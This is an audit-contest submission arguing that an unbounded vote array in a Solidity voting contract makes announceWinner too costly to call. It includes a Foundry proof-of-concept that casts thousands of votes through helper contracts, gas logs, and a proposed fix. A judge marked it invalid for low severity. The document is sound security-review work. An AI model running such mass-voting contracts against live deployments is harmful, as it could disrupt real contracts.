First Flight #13: Baba Marta
First Flight #13
Beginner FriendlyFoundryGameFi
100 EXP
View results
Previous Next
Submission Details
Severity: low
Invalid

Unbounded array in `ManteritsaVoting:voteForMartenitsa` creates a DOS to `ManteritsaVoting:announceWinner`.

galturok

Description The _tokenIds array is saving a new copy of the token id numbers with each new vote.

function voteForMartenitsa(uint256 tokenId) external {
require(!hasVoted[msg.sender], "You have already voted");
require(block.timestamp < startVoteTime + duration, "The voting is no longer active");
list = _martenitsaMarketplace.getListing(tokenId);
require(list.forSale, "You are unable to vote for this martenitsa");
​
hasVoted[msg.sender] = true;
voteCounts[tokenId] += 1;
​
@> _tokenIds.push(tokenId);
}
​

The length of that array is later used in ManteritsaVoting:announceWinner in a loop doing repeated checks of the same token id number

​
function announceWinner() external onlyOwner {
require(block.timestamp >= startVoteTime + duration, "The voting is active");
​
uint256 winnerTokenId;
uint256 maxVotes = 0;
@> for (uint256 i = 0; i < _tokenIds.length; i++) {
if (voteCounts[_tokenIds[i]] > maxVotes) {
maxVotes = voteCounts[_tokenIds[i]];
winnerTokenId = _tokenIds[i];
}
}
​
list = _martenitsaMarketplace.getListing(winnerTokenId);
_healthToken.distributeHealthToken(list.seller, 1);
​
emit WinnerAnnounced(winnerTokenId, list.seller);
}
​

Impact This will overflow the gas cost to call ManteritsaVoting:announceWinner making it uncallable.

Proof Of Concept

We will check the gas cost 150 votes, 1500 votes and 15000 votes to see the gas cost difference.

Place the following test in your test file
​
function testDOSvote15000Votes() public listMartenitsa {
vm.startPrank(bob);
vm.txGasPrice(1);
​
for (uint256 i = 0; i < 15000; i++) {
bytes32 salt = keccak256(abi.encodePacked(i,msg.sender));
address helper = address(new voteHelper{salt: salt}(0, address(voting)));
}
vm.stopPrank();
console.log("number of votes:", voting.voteCounts(0) );
​
vm.warp(block.timestamp + 1 days + 1);
vm.recordLogs();
uint256 gasStart = gasleft();
voting.announceWinner();
uint256 gasEnd = gasleft();
​
uint256 gasUsed = (gasStart - gasEnd);
​
console.log("gas used to announceWinner :", gasUsed);
​
}
​
function testDOSvote150Votes() public listMartenitsa {
vm.startPrank(bob);
vm.txGasPrice(1);
​
for (uint256 i = 0; i < 150; i++) {
bytes32 salt = keccak256(abi.encodePacked(i,msg.sender));
address helper = address(new voteHelper{salt: salt}(0, address(voting)));
}
vm.stopPrank();
console.log("number of votes:", voting.voteCounts(0) );
​
vm.warp(block.timestamp + 1 days + 1);
vm.recordLogs();
uint256 gasStart = gasleft();
voting.announceWinner();
uint256 gasEnd = gasleft();
​
uint256 gasUsed = (gasStart - gasEnd);
​
console.log("gas used to announceWinner :", gasUsed);
​
}
​
function testDOSvote1500Votes() public listMartenitsa {
vm.startPrank(bob);
vm.txGasPrice(1);
​
for (uint256 i = 0; i < 1500; i++) {
bytes32 salt = keccak256(abi.encodePacked(i,msg.sender));
address helper = address(new voteHelper{salt: salt}(0, address(voting)));
}
vm.stopPrank();
console.log("number of votes:", voting.voteCounts(0) );
​
vm.warp(block.timestamp + 1 days + 1);
vm.recordLogs();
uint256 gasStart = gasleft();
voting.announceWinner();
uint256 gasEnd = gasleft();
​
uint256 gasUsed = (gasStart - gasEnd);
​
console.log("gas used to announceWinner :", gasUsed);
​
}
​
​
​

console log

​
[PASS] testDOSvote15000Votes()
Logs:
number of votes: 15000
gas used to announceWinner : 9473575
​
[PASS] testDOSvote1500Votes()
Logs:
number of votes: 1500
gas used to announceWinner : 1009075
​
[PASS] testDOSvote150Votes()
Logs:
number of votes: 150
gas used to announceWinner : 162625
​

Recommended Mitigation: To prevent duplicate entries of tokenId in the _tokenIds array, you can modify the voteForMartenitsa function to include a check for whether the tokenId already exists in the _tokenIds array. This can be achieved by iterating through the _tokenIds array and comparing each element to the tokenId in question. If a match is found, it would mean the tokenId is already in the array, and thus, you shouldn't push it again. However, please note that this approach might not be gas-efficient for large arrays due to the iteration process. Consider using a mapping for a more efficient solution if you have performance concerns.

function voteForMartenitsa(uint256 tokenId) external {
require(!hasVoted[msg.sender], "You have already voted");
require(block.timestamp < startVoteTime + duration, "The voting is no longer active");
list = _martenitsaMarketplace.getListing(tokenId);
require(list.forSale, "You are unable to vote for this martenitsa");
​
hasVoted[msg.sender] = true;
voteCounts[tokenId] += 1;
​
- _tokenIds.push(tokenId);
+ bool isTokenPresent = false;
+ for (uint i = 0; i < _tokenIds.length; i++) {
+ if (_tokenIds[i] == tokenId) {
+ isTokenPresent = true;
+ break;
+ }
+ }
+ if (!isTokenPresent) {
+ _tokenIds.push(tokenId);
+ }
}
​
Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

Unbounded arrays

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.